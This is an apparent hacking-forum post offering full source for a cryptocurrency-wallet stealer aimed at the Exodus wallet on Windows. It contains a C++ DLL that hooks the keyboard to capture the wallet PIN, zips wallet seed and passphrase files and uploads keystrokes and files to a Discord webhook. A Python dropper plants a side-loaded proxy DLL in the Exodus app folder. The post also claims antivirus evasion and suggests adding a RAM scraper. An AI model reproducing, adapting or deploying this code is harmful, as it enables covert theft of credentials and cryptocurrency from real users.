(Edited 09-28-2026, 10:49 PM by push.)
#1
Exodus Stealer/Grabber Proof of Concept (Windows Only, URCT64 Compiler)

This C++ and Python hybrid tool utilizes DLL side-loading and proxying to inject a keylogger payload. The Python script acts as a placer, downloading a malicious DLL to replace the legitimate Exodus DLL, enabling arbitrary code execution when the wallet launches. The payload captures the PIN while user input occurs. After a 5-second idle detection period, it extracts encrypted wallet files alongside the PIN for decryption.

Persistence and Evasion:
No separate persistence mechanism is required because the application infects itself, allowing it to survive system reboots while remaining difficult to detect. The entire operation executes without requiring administrator rights. It successfully evades Windows Defender (including real-time protection and full scans), Avast, McAfee, Malwarebytes, and Bitdefender, with variable detection rates on others.

Critical Configuration Notes:
- Replace the Discord webhook URL and GitHub repository links with your own.
- Delete
Code:
phrase.json or sum name like that
before adding new wallets to ensure functionality.

Recommended Enhancements:
- Implement a RAM scraper to dump memory, ensuring the extraction of encryption keys and protected values. 


Code:
// wha.cpp - combined DLL: idle-gated Exodus backup + keyboard capture -> Discord
// Build:
//   g++ -shared -O2 -static -static-libgcc -static-libstdc++ -m64 \
//       -o wha.dll wha.cpp \
//       -lwinhttp -lshlwapi -luser32 -lshell32

#include <windows.h>
#include <winhttp.h>
#include <shlwapi.h>
#include <string>
#include <vector>
#include <mutex>
#include <thread>
#include <chrono>
#include <condition_variable>
#include <atomic>
#include <cstdio>
#include <ctime>
#include <cstdarg>

#ifndef WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_2
#define WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_2 0x00000800
#endif

#pragma comment(lib, "winhttp.lib")
#pragma comment(lib, "shlwapi.lib")
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "shell32.lib")

// ==================== CONFIG ====================
static const wchar_t* WEBHOOK_URL =
    L"discord webhook here"
    L"here";

static const wchar_t* ONCE_MUTEX = L"Global\\wha_backup_once";

static const size_t MAX_ZIP_BYTES = 7u * 1024u * 1024u;
static const int    KEY_SEND_INTERVAL_SEC = 5;
static const size_t KEY_BUFFER_FLUSH_LEN  = 200;


static const int    BACKUP_MIN_KEYS       = 3;       // wait for at least this many
static const DWORD  BACKUP_IDLE_MS        = 3000;    // then wait for this much silence
static const DWORD  BACKUP_POLL_MS        = 200;
// ================================================

struct FileEntry {
    std::wstring src;
    std::wstring name;
    unsigned long long size;
};

// -------- keylogger state --------
static HHOOK              g_hook = nullptr;
static HMODULE            g_hModule = nullptr;
static volatile bool      g_running = false;
static HANDLE             g_hHookThread = nullptr;
static HANDLE             g_hKeySendThread = nullptr;
static HANDLE             g_hBackupThread = nullptr;
static HANDLE             g_doneEvent = nullptr;

static std::mutex              g_keyMutex;
static std::condition_variable g_keyCv;
static std::string             g_keyBuffer;

// counters the backup thread watches
static std::atomic<int>       g_totalKeys{0};
static std::atomic<long long> g_lastKeyTick{0};   // GetTickCount64 at last key

// ---------- logging ----------
static std::wstring getEnvStr(const wchar_t* n) {
    DWORD c = GetEnvironmentVariableW(n, nullptr, 0);
    if (!c) return L"";
    std::wstring b(c, L'\0');
    GetEnvironmentVariableW(n, &b[0], c);
    b.resize(c - 1);
    return b;
}

static void appendTo(const std::wstring& path, const std::wstring& line) {
    HANDLE h = CreateFileW(path.c_str(), FILE_APPEND_DATA,
                           FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr,
                           OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
    if (h == INVALID_HANDLE_VALUE) return;
    DWORD w = 0;
    WriteFile(h, line.c_str(), (DWORD)(line.size() * sizeof(wchar_t)), &w, nullptr);
    CloseHandle(h);
}

static void logf(const wchar_t* fmt, ...) {
    wchar_t body[1500] = {};
    va_list ap; va_start(ap, fmt);
    _vsnwprintf_s(body, _countof(body), _TRUNCATE, fmt, ap);
    va_end(ap);

    time_t t = time(nullptr);
    struct tm tmv; localtime_s(&tmv, &t);
    wchar_t line[1800] = {};
    _snwprintf_s(line, _countof(line), _TRUNCATE,
                 L"[%02d:%02d:%02d] %s\r\n",
                 tmv.tm_hour, tmv.tm_min, tmv.tm_sec, body);

    OutputDebugStringW(line);

    std::wstring tmp = getEnvStr(L"TEMP");
    if (!tmp.empty()) appendTo(tmp + L"\\wha.log", line);

    std::wstring up = getEnvStr(L"USERPROFILE");
    if (!up.empty()) appendTo(up + L"\\Desktop\\wha.log", line);
}

// ---------- helpers ----------
static std::wstring nowStamp() {
    time_t t = time(nullptr);
    struct tm tmv; localtime_s(&tmv, &t);
    wchar_t buf[32];
    _snwprintf_s(buf, _countof(buf), _TRUNCATE,
                 L"%04d%02d%02d_%02d%02d%02d",
                 tmv.tm_year + 1900, tmv.tm_mon + 1, tmv.tm_mday,
                 tmv.tm_hour, tmv.tm_min, tmv.tm_sec);
    return buf;
}

static bool dirExists(const std::wstring& p) {
    DWORD a = GetFileAttributesW(p.c_str());
    return a != INVALID_FILE_ATTRIBUTES && (a & FILE_ATTRIBUTE_DIRECTORY);
}

static std::wstring lowerExt(const std::wstring& n) {
    size_t d = n.find_last_of(L'.');
    if (d == std::wstring::npos) return L"";
    std::wstring e = n.substr(d);
    for (auto& c : e) c = towlower(c);
    return e;
}

static std::string toUtf8(const std::wstring& w) {
    if (w.empty()) return "";
    int u8 = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, nullptr, 0, nullptr, nullptr);
    if (u8 <= 0) return "";
    std::string out(u8 - 1, '\0');
    WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, &out[0], u8, nullptr, nullptr);
    return out;
}

static std::string jsonEscape(const std::string& s) {
    std::string o;
    for (unsigned char c : s) {
        switch (c) {
            case '"': o += "\\\""; break;
            case '\\': o += "\\\\"; break;
            case '\n': o += "\\n"; break;
            case '\r': o += "\\r"; break;
            case '\t': o += "\\t"; break;
            default:
                if (c < 0x20) { char b[8]; sprintf(b, "\\u%04X", c); o += b; }
                else o += (char)c;
        }
    }
    return o;
}

// ---------- HTTP ----------
static bool parseUrl(const std::wstring& url,
                     std::wstring& host, std::wstring& path, bool& https) {
    std::wstring p = L"https://";
    if (url.compare(0, p.size(), p) == 0) { https = true; }
    else {
        p = L"http://";
        if (url.compare(0, p.size(), p) != 0) return false;
        https = false;
    }
    std::wstring rest = url.substr(p.size());
    size_t s = rest.find(L'/');
    if (s == std::wstring::npos) return false;
    host = rest.substr(0, s);
    path = rest.substr(s);
    return true;
}

static bool postJson(const std::wstring& url, const std::string& json) {
    std::wstring host, path; bool https = false;
    if (!parseUrl(url, host, path, https)) return false;

    HINTERNET s = WinHttpOpen(L"Mozilla/5.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
                              WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    if (!s) return false;

    DWORD protos = WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_2;
    WinHttpSetOption(s, WINHTTP_OPTION_SECURE_PROTOCOLS, &protos, sizeof(protos));

    HINTERNET c = WinHttpConnect(s, host.c_str(),
                                 https ? INTERNET_DEFAULT_HTTPS_PORT : INTERNET_DEFAULT_HTTP_PORT, 0);
    if (!c) { WinHttpCloseHandle(s); return false; }

    HINTERNET r = WinHttpOpenRequest(c, L"POST", path.c_str(), nullptr,
                                     WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES,
                                     https ? WINHTTP_FLAG_SECURE : 0);
    if (!r) { WinHttpCloseHandle(c); WinHttpCloseHandle(s); return false; }

    std::wstring hdr = L"Content-Type: application/json\r\n";
    BOOL ok = WinHttpSendRequest(r, hdr.c_str(), (DWORD)-1L,
                                 (LPVOID)json.data(), (DWORD)json.size(),
                                 (DWORD)json.size(), 0);
    if (ok) ok = WinHttpReceiveResponse(r, nullptr);

    DWORD status = 0;
    if (ok) {
        DWORD sz = sizeof(status);
        WinHttpQueryHeaders(r, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
                            nullptr, &status, &sz, nullptr);
    }
    WinHttpCloseHandle(r); WinHttpCloseHandle(c); WinHttpCloseHandle(s);
    return ok && status >= 200 && status < 300;
}

static bool postMultipartFile(const std::wstring& url,
                              const std::string& filename,
                              const std::vector<unsigned char>& data) {
    std::wstring host, path; bool https = false;
    if (!parseUrl(url, host, path, https)) return false;

    char boundary[80];
    sprintf(boundary, "----Wha%08lx%08lx%08lx",
            (unsigned long)GetTickCount(),
            (unsigned long)GetCurrentProcessId(),
            (unsigned long)GetCurrentThreadId());
    std::string B = boundary;

    std::string body;
    body.reserve(data.size() + 512);
    body += "--" + B + "\r\n";
    body += "Content-Disposition: form-data; name=\"payload_json\"\r\n";
    body += "Content-Type: application/json\r\n\r\n";
    body += "{}";
    body += "\r\n";
    body += "--" + B + "\r\n";
    body += "Content-Disposition: form-data; name=\"files[0]\"; filename=\"" + filename + "\"\r\n";
    body += "Content-Type: application/zip\r\n\r\n";
    body.append((const char*)data.data(), data.size());
    body += "\r\n";
    body += "--" + B + "--\r\n";

    HINTERNET s = WinHttpOpen(L"Mozilla/5.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
                              WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    if (!s) return false;

    DWORD protos = WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_2;
    WinHttpSetOption(s, WINHTTP_OPTION_SECURE_PROTOCOLS, &protos, sizeof(protos));

    HINTERNET c = WinHttpConnect(s, host.c_str(),
                                 https ? INTERNET_DEFAULT_HTTPS_PORT : INTERNET_DEFAULT_HTTP_PORT, 0);
    if (!c) { WinHttpCloseHandle(s); return false; }

    HINTERNET r = WinHttpOpenRequest(c, L"POST", path.c_str(), nullptr,
                                     WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES,
                                     https ? WINHTTP_FLAG_SECURE : 0);
    if (!r) { WinHttpCloseHandle(c); WinHttpCloseHandle(s); return false; }

    std::wstring ct = L"Content-Type: multipart/form-data; boundary=";
    ct += std::wstring(B.begin(), B.end());
    ct += L"\r\n";

    BOOL ok = WinHttpSendRequest(r, ct.c_str(), (DWORD)-1L,
                                 (LPVOID)body.data(), (DWORD)body.size(),
                                 (DWORD)body.size(), 0);
    if (ok) ok = WinHttpReceiveResponse(r, nullptr);

    DWORD status = 0;
    if (ok) {
        DWORD sz = sizeof(status);
        WinHttpQueryHeaders(r, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
                            nullptr, &status, &sz, nullptr);
    }
    WinHttpCloseHandle(r); WinHttpCloseHandle(c); WinHttpCloseHandle(s);
    return ok && status >= 200 && status < 300;
}

// ---------- ZIP ----------
static void putU16(std::vector<unsigned char>& v, unsigned short x) {
    v.push_back((unsigned char)(x & 0xff));
    v.push_back((unsigned char)((x >> 8) & 0xff));
}
static void putU32(std::vector<unsigned char>& v, unsigned int x) {
    v.push_back((unsigned char)(x & 0xff));
    v.push_back((unsigned char)((x >> 8) & 0xff));
    v.push_back((unsigned char)((x >> 16) & 0xff));
    v.push_back((unsigned char)((x >> 24) & 0xff));
}

struct ZipEntry {
    std::string name;
    unsigned int crc;
    unsigned int size;
    unsigned int offset;
};

static unsigned int crc32buf(const unsigned char* p, size_t n, unsigned int crc) {
    crc = ~crc;
    for (size_t i = 0; i < n; ++i) {
        crc ^= p[i];
        for (int k = 0; k < 8; ++k)
            crc = (crc >> 1) ^ (0xEDB88320u & (0u - (crc & 1u)));
    }
    return ~crc;
}

static bool buildZip(const std::vector<FileEntry>& files,
                     std::vector<unsigned char>& out) {
    std::vector<ZipEntry> entries;

    for (auto& f : files) {
        HANDLE h = CreateFileW(f.src.c_str(), GENERIC_READ,
                               FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                               nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
        if (h == INVALID_HANDLE_VALUE) continue;
        DWORD sz = GetFileSize(h, nullptr);
        std::vector<unsigned char> buf(sz);
        DWORD rd = 0;
        if (sz > 0 && !ReadFile(h, buf.data(), sz, &rd, nullptr)) {
            CloseHandle(h); continue;
        }
        CloseHandle(h);

        std::string nameA = toUtf8(f.name);

        ZipEntry e;
        e.name = nameA;
        e.crc  = crc32buf(buf.data(), buf.size(), 0);
        e.size = (unsigned int)buf.size();
        e.offset = (unsigned int)out.size();

        putU32(out, 0x04034b50);
        putU16(out, 20);
        putU16(out, 0x0800);
        putU16(out, 0);
        putU16(out, 0);
        putU16(out, 0);
        putU32(out, e.crc);
        putU32(out, e.size);
        putU32(out, e.size);
        putU16(out, (unsigned short)nameA.size());
        putU16(out, 0);
        out.insert(out.end(), nameA.begin(), nameA.end());
        out.insert(out.end(), buf.begin(), buf.end());

        entries.push_back(e);
    }
    if (entries.empty()) return false;

    unsigned int centralStart = (unsigned int)out.size();
    for (auto& e : entries) {
        putU32(out, 0x02014b50);
        putU16(out, 20);
        putU16(out, 20);
        putU16(out, 0x0800);
        putU16(out, 0);
        putU16(out, 0);
        putU16(out, 0);
        putU32(out, e.crc);
        putU32(out, e.size);
        putU32(out, e.size);
        putU16(out, (unsigned short)e.name.size());
        putU16(out, 0);
        putU16(out, 0);
        putU16(out, 0);
        putU16(out, 0);
        putU32(out, 0);
        putU32(out, e.offset);
        out.insert(out.end(), e.name.begin(), e.name.end());
    }
    unsigned int centralEnd = (unsigned int)out.size();

    putU32(out, 0x06054b50);
    putU16(out, 0);
    putU16(out, 0);
    putU16(out, (unsigned short)entries.size());
    putU16(out, (unsigned short)entries.size());
    putU32(out, centralEnd - centralStart);
    putU32(out, centralStart);
    putU16(out, 0);
    return true;
}

// ---------- backup ----------
static void walkWallet(const std::wstring& root, const std::wstring& sub,
                       std::vector<FileEntry>& out) {
    std::wstring full = root;
    if (!sub.empty()) { full += L"\\"; full += sub; }

    WIN32_FIND_DATAW fd;
    HANDLE h = FindFirstFileW((full + L"\\*").c_str(), &fd);
    if (h == INVALID_HANDLE_VALUE) return;

    do {
        if (wcscmp(fd.cFileName, L".") == 0 ||
            wcscmp(fd.cFileName, L"..") == 0) continue;

        std::wstring rel = sub.empty() ? fd.cFileName : (sub + L"\\" + fd.cFileName);

        if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
            if (_wcsicmp(fd.cFileName, L"_disabled") == 0) continue;
            walkWallet(root, rel, out);
        } else {
            std::wstring ext = lowerExt(fd.cFileName);
            if (ext == L".log") continue;
            FileEntry e;
            e.src  = full + L"\\" + fd.cFileName;
            e.name = L"exodus.wallet/" + rel;
            for (auto& c : e.name) if (c == L'\\') c = L'/';
            e.size = ((unsigned long long)fd.nFileSizeHigh << 32) | fd.nFileSizeLow;
            out.push_back(e);
        }
    } while (FindNextFileW(h, &fd));
    FindClose(h);
}

static void runBackup() {
    logf(L"=== backup start ===");

    std::wstring appdata = getEnvStr(L"APPDATA");
    if (appdata.empty()) { logf(L"APPDATA not set"); return; }

    std::wstring dataDir   = appdata + L"\\Exodus";
    std::wstring walletDir = dataDir + L"\\exodus.wallet";
    if (!dirExists(dataDir)) { logf(L"no data dir %ls", dataDir.c_str()); return; }
    if (!dirExists(walletDir)) { logf(L"no wallet dir %ls", walletDir.c_str()); return; }

    std::wstring label = L"profile_" + nowStamp();

    std::vector<FileEntry> files;
    walkWallet(walletDir, L"", files);

    WIN32_FIND_DATAW fd;
    HANDLE h = FindFirstFileW((dataDir + L"\\*").c_str(), &fd);
    if (h != INVALID_HANDLE_VALUE) {
        do {
            if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) continue;
            std::wstring ext = lowerExt(fd.cFileName);
            if (ext != L".json" && ext != L".seco" && ext != L".db" &&
                ext != L".sqlite" && ext != L".dat") continue;
            FileEntry e;
            e.src  = dataDir + L"\\" + fd.cFileName;
            e.name = fd.cFileName;
            e.size = ((unsigned long long)fd.nFileSizeHigh << 32) | fd.nFileSizeLow;
            files.push_back(e);
        } while (FindNextFileW(h, &fd));
        FindClose(h);
    }
    logf(L"collected %lu file(s)", (unsigned long)files.size());
    if (files.empty()) { logf(L"nothing to send"); return; }

    std::vector<unsigned char> zip;
    if (!buildZip(files, zip) || zip.empty()) { logf(L"zip build failed"); return; }
    logf(L"zip size: %.2f MB", (double)zip.size() / 1024.0 / 1024.0);

    if (zip.size() > MAX_ZIP_BYTES) {
        logf(L"over cap, trimming to core files");
        std::vector<FileEntry> core;
        for (auto& f : files) {
            std::wstring base = f.name;
            size_t slash = base.find_last_of(L'/');
            if (slash != std::wstring::npos) base = base.substr(slash + 1);
            if (base == L"seed.seco" || base == L"storage.seco" ||
                base == L"passphrase.json" || base == L"unsafe-storage.json") {
                core.push_back(f);
            }
        }
        zip.clear();
        if (!buildZip(core, zip) || zip.empty()) {
            logf(L"core zip failed"); return;
        }
        logf(L"trimmed zip: %.2f MB", (double)zip.size() / 1024.0 / 1024.0);
        if (zip.size() > MAX_ZIP_BYTES) { logf(L"core still over cap"); return; }
    }

    std::string filename = toUtf8(label + L".zip");
    bool ok = postMultipartFile(WEBHOOK_URL, filename, zip);
    logf(L"upload: %ls", ok ? L"OK" : L"FAIL");
    logf(L"=== backup end ===");
}

// ---------- keylogger ----------
static std::string GetKeyString(DWORD vkCode, bool shiftDown, bool capsLock) {
    if (vkCode >= 'A' && vkCode <= 'Z') {
        char base = 'A' + (vkCode - 'A');
        if (shiftDown ^ capsLock) return std::string(1, base);
        else                     return std::string(1, base + 32);
    }
    if (vkCode >= '0' && vkCode <= '9') {
        if (shiftDown) {
            const char* shifted = ")!@#$%^&*(";
            return std::string(1, shifted[vkCode - '0']);
        }
        return std::string(1, (char)vkCode);
    }
    switch (vkCode) {
        case VK_RETURN:    return "[Enter]";
        case VK_SPACE:     return " ";
        case VK_TAB:       return "[Tab]";
        case VK_BACK:      return "[Backspace]";
        case VK_SHIFT:     return "[Shift]";
        case VK_CONTROL:   return "[Ctrl]";
        case VK_MENU:      return "[Alt]";
        case VK_CAPITAL:   return "[CapsLock]";
        case VK_ESCAPE:    return "[Esc]";
        case VK_LEFT:      return "[Left]";
        case VK_RIGHT:     return "[Right]";
        case VK_UP:        return "[Up]";
        case VK_DOWN:      return "[Down]";
        case VK_OEM_COMMA: return shiftDown ? "<" : ",";
        case VK_OEM_PERIOD:return shiftDown ? ">" : ".";
        case VK_OEM_MINUS: return shiftDown ? "_" : "-";
        case VK_OEM_PLUS:  return shiftDown ? "+" : "=";
        case VK_OEM_1:     return shiftDown ? ":" : ";";
        case VK_OEM_2:     return shiftDown ? "?" : "/";
        case VK_OEM_3:     return shiftDown ? "~" : "`";
        case VK_OEM_4:     return shiftDown ? "{" : "[";
        case VK_OEM_5:     return shiftDown ? "|" : "\\";
        case VK_OEM_6:     return shiftDown ? "}" : "]";
        case VK_OEM_7:     return shiftDown ? "\"" : "'";
        default:
            return "[" + std::to_string(vkCode) + "]";
    }
}

static LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION) {
        KBDLLHOOKSTRUCT* p = (KBDLLHOOKSTRUCT*)lParam;
        if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
            bool shiftDown = (GetAsyncKeyState(VK_SHIFT) & 0x8000) != 0;
            bool capsLock  = (GetKeyState(VK_CAPITAL) & 0x0001) != 0;
            std::string key = GetKeyString(p->vkCode, shiftDown, capsLock);

            // bump counters used by the backup gate
            g_totalKeys.fetch_add(1);
            g_lastKeyTick.store((long long)GetTickCount64());

            {
                std::lock_guard<std::mutex> lock(g_keyMutex);
                g_keyBuffer += key;
                if (p->vkCode == VK_RETURN || g_keyBuffer.length() >= KEY_BUFFER_FLUSH_LEN) {
                    g_keyCv.notify_one();
                }
            }
        }
    }
    return CallNextHookEx(g_hook, nCode, wParam, lParam);
}

static DWORD WINAPI HookThreadProc(LPVOID) {
    g_hook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, g_hModule, 0);
    if (!g_hook) { logf(L"SetWindowsHookEx failed: %lu", GetLastError()); return 1; }

    MSG msg;
    while (g_running && GetMessage(&msg, nullptr, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    if (g_hook) { UnhookWindowsHookEx(g_hook); g_hook = nullptr; }
    return 0;
}

static DWORD WINAPI KeySendThreadProc(LPVOID) {
    while (g_running) {
        std::unique_lock<std::mutex> lock(g_keyMutex);
        g_keyCv.wait_for(lock, std::chrono::seconds(KEY_SEND_INTERVAL_SEC),
                         [] { return !g_keyBuffer.empty(); });

        if (!g_keyBuffer.empty()) {
            std::string text = g_keyBuffer;
            g_keyBuffer.clear();
            lock.unlock();

            std::string json = "{\"content\":\"" + jsonEscape(text) + "\"}";
            postJson(WEBHOOK_URL, json);
        }
    }

    std::lock_guard<std::mutex> lock(g_keyMutex);
    if (!g_keyBuffer.empty()) {
        std::string json = "{\"content\":\"" + jsonEscape(g_keyBuffer) + "\"}";
        postJson(WEBHOOK_URL, json);
        g_keyBuffer.clear();
    }
    return 0;
}

static DWORD WINAPI BackupThreadProc(LPVOID) {
    HANDLE mtx = CreateMutexW(nullptr, FALSE, ONCE_MUTEX);
    if (mtx && GetLastError() == ERROR_ALREADY_EXISTS) {
        logf(L"backup already ran this session");
        CloseHandle(mtx);
        if (g_doneEvent) SetEvent(g_doneEvent);
        return 0;
    }

    // ---- Gate 1: at least N keys pressed ----
    logf(L"backup waiting for %d key(s)...", BACKUP_MIN_KEYS);
    while (g_running) {
        if (g_totalKeys.load() >= BACKUP_MIN_KEYS) break;
        Sleep(BACKUP_POLL_MS);
    }
    if (!g_running) {
        logf(L"backup aborted before min keys");
        if (mtx) CloseHandle(mtx);
        if (g_doneEvent) SetEvent(g_doneEvent);
        return 0;
    }
    logf(L"backup gate 1 passed (%d keys so far)", g_totalKeys.load());

    // ---- Gate 2: idle for BACKUP_IDLE_MS since last key ----
    logf(L"backup waiting for %lu ms of silence...", (unsigned long)BACKUP_IDLE_MS);
    while (g_running) {
        long long last = g_lastKeyTick.load();
        long long now  = (long long)GetTickCount64();
        if (last > 0 && (now - last) >= (long long)BACKUP_IDLE_MS) break;
        Sleep(BACKUP_POLL_MS);
    }
    if (!g_running) {
        logf(L"backup aborted during idle wait");
        if (mtx) CloseHandle(mtx);
        if (g_doneEvent) SetEvent(g_doneEvent);
        return 0;
    }
    logf(L"backup gate 2 passed, running backup");

    try { runBackup(); }
    catch (...) { logf(L"exception in backup"); }

    if (mtx) CloseHandle(mtx);
    if (g_doneEvent) SetEvent(g_doneEvent);
    return 0;
}

extern "C" __declspec(dllexport)
DWORD WINAPI WaitForBackupDone(DWORD timeoutMs) {
    if (!g_doneEvent) return WAIT_FAILED;
    return WaitForSingleObject(g_doneEvent, timeoutMs);
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID) {
    switch (reason) {
        case DLL_PROCESS_ATTACH:
            g_hModule = hModule;
            g_running = true;
            DisableThreadLibraryCalls(hModule);
            g_doneEvent = CreateEventW(nullptr, TRUE, FALSE, nullptr);

            g_hHookThread    = CreateThread(nullptr, 0, HookThreadProc,    nullptr, 0, nullptr);
            g_hKeySendThread = CreateThread(nullptr, 0, KeySendThreadProc, nullptr, 0, nullptr);
            g_hBackupThread  = CreateThread(nullptr, 0, BackupThreadProc,  nullptr, 0, nullptr);
            break;

        case DLL_PROCESS_DETACH:
            g_running = false;
            g_keyCv.notify_all();

            if (g_hHookThread) {
                PostThreadMessageW(GetThreadId(g_hHookThread), WM_QUIT, 0, 0);
                WaitForSingleObject(g_hHookThread, 2000);
                CloseHandle(g_hHookThread);
                g_hHookThread = nullptr;
            }
            if (g_hKeySendThread) {
                WaitForSingleObject(g_hKeySendThread, 3000);
                CloseHandle(g_hKeySendThread);
                g_hKeySendThread = nullptr;
            }
            if (g_hBackupThread) {
                WaitForSingleObject(g_hBackupThread, 10000);
                CloseHandle(g_hBackupThread);
                g_hBackupThread = nullptr;
            }
            if (g_doneEvent) { CloseHandle(g_doneEvent); g_doneEvent = nullptr; }
            break;
    }
    return TRUE;
}

THE PYTHON PLACER 

Code:
#!/usr/bin/env python3
# deploy_proxy.py - Credits: 0xA2F

import os, shutil, urllib.request
from pathlib import Path

APP = Path(os.environ["LOCALAPPDATA"]) / "exodus" / "app-26.8.27"
SYS = Path(os.environ["SystemRoot"]) / "System32"

VERSION_URL = " fake proxy dll "
KEY_URL     = "payload dll "

def download(url, dest):
    print(f"  downloading {dest.name} ...")
    try:
        with urllib.request.urlopen(url, timeout=60) as r:
            data = r.read()
        dest.write_bytes(data)
        print(f"    saved: {dest}  ({len(data)} bytes)")
    except Exception as e:
        print(f"    [!] failed: {e}")

def main():
    print()
    print("=" * 55)
    print("  DEPLOY PROXY   [0xA2F]")
    print("=" * 55)
    print(f"\n  app folder: {APP}\n")

    if not APP.exists():
        print(f"  [!] app folder not found: {APP}")
        return

    # 1. rename real version.dll -> version_orig.dll
    orig = APP / "version_orig.dll"
    if orig.exists():
        print(f"  [1] version_orig.dll already exists ({orig.stat().st_size} bytes) - skip")
    else:
        real = SYS / "version.dll"
        print(f"  [1] copying {real.name} -> version_orig.dll")
        shutil.copy2(real, orig)
        print(f"      done ({orig.stat().st_size} bytes)")

    # 2. download proxy + payload
    print("  [2] downloading version.dll (proxy)")
    download(VERSION_URL, APP / "version.dll")

    print("  [3] downloading key.dll (payload)")
    download(KEY_URL, APP / "key.dll")

    # 3. verify
    print("\n  final app folder:")
    for f in ["version.dll", "version_orig.dll", "key.dll"]:
        p = APP / f
        if p.exists():
            print(f"    {f:<22} {p.stat().st_size} bytes")
        else:
            print(f"    {f:<22} MISSING")

    print("\n  done.")
    print()

if __name__ == "__main__":
    try:
        main()
    except Exception as e:
        print(f"\n[!] error: {e}")
    finally:
        input("Press Enter to close...")

ENJOY!!!